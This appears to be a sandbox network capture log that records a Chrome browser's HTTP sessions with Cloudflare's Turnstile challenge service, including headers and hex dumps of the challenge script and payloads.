2024-12-11 18:22:22 UTC	1058	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 18:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0FxzyucBHcc6MhBQbLs4h9%2BvyrFIArF1TTf8srpJe4LTRZTBh3kHycVDdgQ2GJ9HbdJb6%2B1Io9JqFPPS8beulWRyZxn0LKFfqA1J5nt4ho6M1HaIhMynEnP7Dm%2BYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1678&rtt_var=550&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2245&delivery_rate=2159103&cwnd=252&unsent_bytes=0&cid=1d1d8e5ab3c69752&ts=315&x=0" CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8f077fe88fb15e6c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1618&rtt_var=619&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1909&delivery_rate=1749550&cwnd=237&unsent_bytes=0&cid=17f384b8a061b86c&ts=9528&x=0"
2024-12-11 18:22:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49734	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:22 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:22 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:22 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f077feeaa494268-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:22 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49735	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:22 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f077fd7ad501889&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:23 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:22 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114552 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f077ff0c8e95e61-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:23 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 Data Ascii: "turnstile_refresh":"Refresh","turnstile_expired":"Expired","human_button_text":"Verify%20you%20are%20human","turnstile_feedback_report":"Having%20trouble%3F","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 66 4e 2c 66 58 2c 67 38 2c 67 63 2c 67 64 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 33 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 31 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 36 34 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 33 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 33 33 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 37 31 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 37 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: fN,fX,g8,gc,gd,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1123))/1(-parseInt(gI(631))/2)+-parseInt(gI(1164))/3+parseInt(gI(1483))/4+-parseInt(gI(1233))/5+parseInt(gI(771))/6(parseInt(gI(1347))/7)+parseInt(gI
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 20 67 5b 28 68 68 28 38 39 34 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 6a 2c 48 29 7b 66 6f 72 28 68 6a 3d 68 68 2c 47 5b 68 6a 28 38 37 35 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 68 6a 28 37 30 32 29 5d 3b 6f 5b 68 6a 28 33 39 30 29 5d 28 47 5b 48 5d 2c 47 5b 6f 5b 68 6a 28 31 31 36 39 29 5d 28 48 2c 31 29 5d 29 3f 47 5b 68 6a 28 31 32 31 38 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 68 28 34 33 30 29 5d 5b 68 68 28 31 35 30 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 68 28 37 30 32 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 68 28 33 32 34 29 5d 28 66 31 2c 67 2c 68 2c 44 29 2c 6f 5b 68 68 28 31 32 32 38 Data Ascii: g[(hh(894))](x)):function(G,hj,H){for(hj=hh,G[hj(875)](),H=0;H<G[hj(702)];o[hj(390)](G[H],G[o[hj(1169)](H,1)])?G[hj(1218)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hh(430)][hh(1504)](B),C=0;C<x[hh(702)];D=x[C],E=o[hh(324)](f1,g,h,D),o[hh(1228
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 28 37 34 32 29 5d 5b 68 78 28 31 30 37 39 29 5d 28 29 2c 65 4d 5b 68 78 28 38 30 34 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 68 78 28 34 34 34 29 5d 5d 5b 68 78 28 37 33 31 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 78 28 39 30 36 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 78 28 37 36 34 29 5d 5b 68 78 28 33 39 31 29 5d 2c 27 65 76 65 6e 74 27 3a 68 78 28 34 32 39 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 78 28 37 36 34 29 5d 5b 68 78 28 39 39 35 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 78 28 37 36 34 29 5d 5b 68 78 28 31 32 37 36 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 68 78 28 38 38 35 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 78 28 37 36 34 29 5d 5b 68 78 28 31 35 32 38 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d Data Ascii: (742)][hx(1079)](),eM[hx(804)]=!![],eM[e[hx(444)]][hx(731)]({'source':e[hx(906)],'widgetId':eM[hx(764)][hx(391)],'event':hx(429),'cfChlOut':eM[hx(764)][hx(995)],'cfChlOutS':eM[hx(764)][hx(1276)],'code':e[hx(885)],'rcV':eM[hx(764)][hx(1528)]},'*'))},g)},eM
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 2b 31 2b 6b 5b 68 79 28 35 38 31 29 5d 2c 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 35 32 36 29 5d 29 2b 27 2f 27 2b 65 4d 5b 68 79 28 37 36 34 29 5d 2e 63 48 2b 27 2f 27 2b 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 33 32 39 29 5d 2c 73 3d 7b 7d 2c 73 5b 68 79 28 34 33 31 29 5d 3d 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 34 33 31 29 5d 2c 73 5b 68 79 28 36 37 38 29 5d 3d 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 36 37 38 29 5d 2c 73 5b 68 79 28 35 34 33 29 5d 3d 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 35 34 33 29 5d 2c 73 5b 68 79 28 31 30 30 32 29 5d 3d 65 4d 5b 68 79 28 37 36 34 29 5d 5b 68 79 28 31 31 35 36 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 68 79 28 32 37 38 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 3d 6b 5b Data Ascii: +1+k[hy(581)],eM[hy(764)][hy(526)])+'/'+eM[hy(764)].cH+'/'+eM[hy(764)][hy(329)],s={},s[hy(431)]=eM[hy(764)][hy(431)],s[hy(678)]=eM[hy(764)][hy(678)],s[hy(543)]=eM[hy(764)][hy(543)],s[hy(1002)]=eM[hy(764)][hy(1156)],x=s,B=new eM[(hy(278))](),!B)return;C=k[
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 7d 2c 31 65 33 29 3a 28 6c 3d 7b 7d 2c 6c 5b 68 42 28 31 34 35 31 29 5d 3d 64 2c 6c 5b 68 42 28 31 31 31 38 29 5d 3d 65 2c 6c 5b 68 42 28 31 35 37 36 29 5d 3d 66 2c 6c 5b 68 42 28 31 30 36 36 29 5d 3d 67 2c 6c 5b 68 42 28 39 38 32 29 5d 3d 68 2c 6d 3d 6c 2c 65 4d 5b 68 42 28 34 30 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 44 29 7b 68 44 3d 68 42 2c 65 4d 5b 68 44 28 34 39 35 29 5d 28 6d 2c 75 6e 64 65 66 69 6e 65 64 2c 68 44 28 31 32 33 34 29 29 7d 2c 31 30 29 2c 65 4d 5b 68 42 28 34 30 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 45 2c 6f 2c 73 2c 76 29 7b 28 68 45 3d 68 42 2c 69 5b 68 45 28 37 32 32 29 5d 28 69 5b 68 45 28 35 34 39 29 5d 2c 68 45 28 39 37 37 29 29 29 3f 28 6f 3d 42 5b 43 5d 2c 73 3d 44 28 45 2c 46 2c 6f 29 2c 69 5b 68 45 28 32 36 35 29 5d Data Ascii: },1e3):(l={},l[hB(1451)]=d,l[hB(1118)]=e,l[hB(1576)]=f,l[hB(1066)]=g,l[hB(982)]=h,m=l,eM[hB(406)](function(hD){hD=hB,eM[hD(495)](m,undefined,hD(1234))},10),eM[hB(406)](function(hE,o,s,v){(hE=hB,i[hE(722)](i[hE(549)],hE(977)))?(o=B[C],s=D(E,F,o),i[hE(265)]
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 4a 28 31 32 37 32 29 5d 3d 67 35 2c 67 63 5b 67 4a 28 35 38 38 29 5d 3d 67 36 2c 67 63 5b 67 4a 28 31 30 37 39 29 5d 3d 67 31 2c 67 63 5b 67 4a 28 32 38 37 29 5d 3d 67 37 2c 67 63 5b 67 4a 28 36 37 32 29 5d 3d 67 34 2c 67 63 5b 67 4a 28 31 30 32 36 29 5d 3d 67 33 2c 67 63 5b 67 4a 28 31 33 35 37 29 5d 3d 66 73 2c 67 63 5b 67 4a 28 31 34 38 38 29 5d 3d 66 5a 2c 67 63 5b 67 4a 28 31 31 38 32 29 5d 3d 66 59 2c 67 63 5b 67 4a 28 31 31 34 30 29 5d 3d 66 6a 2c 67 63 5b 67 4a 28 37 37 35 29 5d 3d 66 6b 2c 67 63 5b 67 4a 28 31 30 34 37 29 5d 3d 66 47 2c 67 63 5b 67 4a 28 35 35 36 29 5d 3d 66 49 2c 67 63 5b 67 4a 28 31 34 30 39 29 5d 3d 66 48 2c 67 63 5b 67 4a 28 33 39 39 29 5d 3d 66 53 2c 67 63 5b 67 4a 28 31 30 35 31 29 5d 3d 66 52 2c 67 63 5b 67 4a 28 31 33 31 Data Ascii: J(1272)]=g5,gc[gJ(588)]=g6,gc[gJ(1079)]=g1,gc[gJ(287)]=g7,gc[gJ(672)]=g4,gc[gJ(1026)]=g3,gc[gJ(1357)]=fs,gc[gJ(1488)]=fZ,gc[gJ(1182)]=fY,gc[gJ(1140)]=fj,gc[gJ(775)]=fk,gc[gJ(1047)]=fG,gc[gJ(556)]=fI,gc[gJ(1409)]=fH,gc[gJ(399)]=fS,gc[gJ(1051)]=fR,gc[gJ(131
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 53 66 74 71 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 57 67 4e 69 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 4f 45 57 72 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 7a 4d 59 6d 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 4a 78 58 59 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 56 69 58 4c 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 65 68 41 51 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c Data Ascii: return i==h},'SftqG':function(h,i){return h<i},'WgNii':function(h,i){return h\|i},'OEWrk':function(h,i){return i==h},'zMYmD':function(h,i){return i!==h},'JxXYl':function(h,i){return h-i},'ViXLN':function(h,i){return h(i)},'ehAQR':function(h,i){return h\|i},
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 65 63 74 5b 6a 44 28 33 33 39 29 5d 5b 6a 44 28 31 34 32 35 29 5d 5b 6a 44 28 31 34 36 36 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 44 28 33 33 39 29 5d 5b 6a 44 28 31 34 32 35 29 5d 5b 6a 44 28 31 34 36 36 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 6a 44 28 34 37 36 29 5d 28 32 35 36 2c 43 5b 6a 44 28 34 37 35 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 6a 44 28 31 34 37 30 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 44 28 31 33 33 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 44 28 34 37 35 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 6a 44 28 36 31 33 29 5d 28 64 5b 6a 44 28 31 33 36 34 29 5d 28 48 Data Ascii: ect[jD(339)][jD(1425)][jD(1466)](x,L))C=L;else{if(Object[jD(339)][jD(1425)][jD(1466)](B,C)){if(d[jD(476)](256,C[jD(475)](0))){for(s=0;s<F;H<<=1,I==d[jD(1470)](j,1)?(I=0,G[jD(1331)](o(H)),H=0):I++,s++);for(M=C[jD(475)](0),s=0;8>s;H=d[jD(613)](d[jD(1364)](H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49736	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:22 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3249 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: .WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:22 UTC	3249	OUT	Data Raw: 76 5f 38 66 30 37 37 66 64 37 61 64 35 30 31 38 38 39 3d 31 46 77 44 6d 44 73 44 6a 44 4d 44 75 44 6e 7a 51 35 7a 51 42 32 44 58 57 41 53 69 24 57 49 52 34 51 65 2d 51 6d 78 44 63 72 51 79 44 69 46 51 30 51 6f 49 2d 51 24 4b 48 44 6d 2d 51 70 44 24 66 68 42 51 55 49 44 51 24 4d 58 51 73 64 42 51 69 78 63 64 53 2d 67 44 48 51 38 31 51 73 56 48 72 78 42 77 63 70 51 25 32 62 44 4f 56 51 58 44 69 56 51 4f 76 59 79 66 6e 44 48 43 6c 64 59 6b 51 6d 48 68 49 30 68 42 67 78 48 51 2b 75 34 5a 49 42 51 4d 4f 30 39 62 72 53 44 44 2d 64 4f 51 49 4a 51 49 72 49 56 56 46 4a 6b 31 78 75 51 77 5a 7a 46 51 63 2d 72 67 2d 64 52 71 78 57 51 39 46 51 53 48 56 2d 4c 63 49 42 63 69 71 79 64 64 78 51 24 67 44 51 74 4c 74 32 39 65 32 58 24 39 57 77 44 78 6d 6a 44 78 44 51 56 65 Data Ascii: v_8f077fd7ad501889=1FwDmDsDjDMDuDnzQ5zQB2DXWASi$WIR4Qe-QmxDcrQyDiFQ0QoI-Q$KHDm-QpD$fhBQUIDQ$MXQsdBQixcdS-gDHQ81QsVHrxBwcpQ%2bDOVQXDiVQOvYyfnDHCldYkQmHhI0hBgxHQ+u4ZIBQMO09brSDD-dOQIJQIrIVVFJk1xuQwZzFQc-rg-dRqxWQ9FQSHV-LcIBciqyddxQ$gDQtLt29e2X$9WwDxmjDxDQVe
2024-12-11 18:22:23 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:23 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149440 Connection: close cf-chl-gen: qJH5zBELnxUTWTcyskh0REZLJRGr4QfYDdOqQ6M9A2PO7+cXuIGCuZQr8Jw1i47lRAvn+X1oScPU+CdxtZuvLmfjXShQGqQgon8r1IsdAnqoeO/WhdPodyjC0WRDwHZhl8rXnMYHpTgfdGNEcp5XonAqspAXpRZUsuwvqHY/ymA9AGPEpBbPtr0xQJyEIKXhMOhA1rmnjcBax3XPenJvlIqkkgRbhhqO8CvrIubQdVL2h1BAxuiLZYHoHyxoODFleJBxpf4vHVXbr4P0BJ44E0rfR+nkz8/U4gs36a8OJBKL5R3SZtG3qiRMYHWbtwp8X7bd4eqnW8DUwwxeVVp8+7reK9KOIWDu74gGBDR0ZEDP7TuWhbjVFEN0H7/UJnPkNzo6IhGPh0soCrojdpaDrde+B9xbOsMsBYF9LOBQ5246BU4r9HvLCFEJ6ljSRTg6Ial+b5lW41EcKGtp6EHoLdnLnbLQobo/3LDw1qfzJnScurw=$xKEn/AOvsJOQTLFd Server: cloudflare CF-RAY: 8f077ff16d8f420b-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:23 UTC	622	IN	Data Raw: 6a 34 70 76 69 48 6d 4d 61 47 68 30 6b 4a 4a 73 62 57 4a 37 66 71 42 33 6a 35 4f 66 5a 71 74 6a 70 36 4a 2f 6f 4a 4a 38 72 6f 71 47 67 6e 4b 6e 71 4a 61 54 6d 58 57 48 6e 63 43 30 75 35 36 68 68 4b 2b 59 74 35 6d 2b 6d 38 61 70 6d 71 79 68 71 70 75 65 73 4b 48 51 73 5a 50 54 71 39 66 46 6d 39 65 77 7a 62 48 56 7a 71 32 38 6e 64 36 31 77 39 7a 48 70 38 58 4c 79 4c 79 37 37 63 76 44 39 73 6a 42 36 2f 72 4d 78 64 76 78 76 51 44 71 2b 73 44 5a 42 65 54 67 32 50 72 63 35 39 4d 4a 33 64 72 5a 32 75 72 61 46 66 44 68 30 2b 45 44 44 77 54 6c 42 78 4c 62 38 41 6f 56 44 78 30 65 41 52 58 77 48 53 48 63 34 68 55 6e 48 76 37 69 49 52 4d 4e 42 43 6b 44 47 53 73 59 38 6a 73 73 48 54 49 38 48 42 2f 36 4a 55 4d 77 4e 6b 4d 71 51 55 73 63 42 52 35 47 42 7a 30 73 47 79 51 Data Ascii: j4pviHmMaGh0kJJsbWJ7fqB3j5OfZqtjp6J/oJJ8roqGgnKnqJaTmXWHncC0u56hhK+Yt5m+m8apmqyhqpuesKHQsZPTq9fFm9ewzbHVzq28nd61w9zHp8XLyLy77cvD9sjB6/rMxdvxvQDq+sDZBeTg2Prc59MJ3drZ2uraFfDh0+EDDwTlBxLb8AoVDx0eARXwHSHc4hUnHv7iIRMNBCkDGSsY8jssHTI8HB/6JUMwNkMqQUscBR5GBz0sGyQ
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 70 6f 4f 56 68 4f 4f 69 45 76 58 43 35 74 61 55 6c 6d 56 55 51 31 53 31 64 48 50 48 70 5a 63 31 35 65 56 31 42 69 55 6c 46 6f 5a 32 4a 57 66 54 39 74 67 6e 2b 4f 6b 58 2b 54 69 6e 2b 4a 56 6e 47 44 66 47 53 51 57 48 31 79 69 59 4e 35 6d 59 46 33 6a 33 53 49 64 58 5a 31 67 59 69 4f 67 34 61 53 65 36 4f 55 72 71 57 54 71 34 65 62 69 4a 4b 33 69 4c 75 4a 73 6e 79 69 6b 72 57 39 67 62 79 54 6e 70 36 4e 6d 4c 75 47 71 6f 79 71 79 63 61 4f 70 35 65 34 73 4c 6a 46 31 70 71 37 77 4b 2b 71 74 72 76 50 31 37 4b 38 71 4d 48 68 35 62 66 4e 35 74 6a 43 37 2b 54 67 37 2b 65 30 78 39 66 73 35 2f 50 75 35 39 54 41 74 2f 72 63 74 73 48 6a 78 62 2f 37 36 72 30 4e 35 64 33 67 45 4f 6a 6f 2f 4e 4d 50 37 77 48 58 30 74 6b 47 38 4f 55 51 36 42 41 4e 37 4f 44 76 44 78 49 44 48 Data Ascii: poOVhOOiEvXC5taUlmVUQ1S1dHPHpZc15eV1BiUlFoZ2JWfT9tgn+OkX+Tin+JVnGDfGSQWH1yiYN5mYF3j3SIdXZ1gYiOg4aSe6OUrqWTq4ebiJK3iLuJsnyikrW9gbyTnp6NmLuGqoyqycaOp5e4sLjF1pq7wK+qtrvP17K8qMHh5bfN5tjC7+Tg7+e0x9fs5/Pu59TAt/rctsHjxb/76r0N5d3gEOjo/NMP7wHX0tkG8OUQ6BAN7ODvDxIDH
2024-12-11 18:22:23 UTC	1369	IN	Data Raw: 75 58 7a 39 7a 4c 45 68 46 65 46 68 57 56 7a 5a 4d 65 54 6c 56 51 48 63 34 63 33 79 46 58 46 78 31 65 34 46 68 59 32 70 61 63 45 39 75 6b 33 79 4e 54 34 39 50 69 47 47 61 68 34 56 71 66 71 42 70 6c 48 4b 5a 68 59 43 56 6c 49 4b 4b 6f 33 68 2b 68 61 32 75 63 4a 4b 62 65 36 32 51 66 34 57 59 6f 59 31 30 70 70 57 58 6f 49 75 69 67 48 2b 45 6e 62 58 49 78 4b 6e 44 79 4c 69 75 7a 73 62 41 78 36 65 4f 70 37 33 4b 6e 38 50 52 73 71 7a 4f 78 62 76 49 73 4c 37 6a 72 65 4b 6b 76 4d 62 62 32 4f 48 64 75 4f 62 73 35 2b 7a 75 76 75 2f 49 78 2f 58 42 78 62 48 4b 79 4d 76 57 79 2b 43 33 2f 62 67 45 77 37 76 67 76 67 6e 48 77 76 6b 4f 41 63 76 6b 45 68 48 6f 33 42 44 50 34 68 62 79 36 77 6e 61 46 64 54 31 36 4f 6e 34 33 2b 4d 54 41 51 2f 64 33 68 54 32 34 52 77 4e 35 65 Data Ascii: uXz9zLEhFeFhWVzZMeTlVQHc4c3yFXFx1e4FhY2pacE9uk3yNT49PiGGah4VqfqBplHKZhYCVlIKKo3h+ha2ucJKbe62Qf4WYoY10ppWXoIuigH+EnbXIxKnDyLiuzsbAx6eOp73Kn8PRsqzOxbvIsL7jreKkvMbb2OHduObs5+zuvu/Ix/XBxbHKyMvWy+C3/bgEw7vgvgnHwvkOAcvkEhHo3BDP4hby6wnaFdT16On43+MTAQ/d3hT24RwN5e
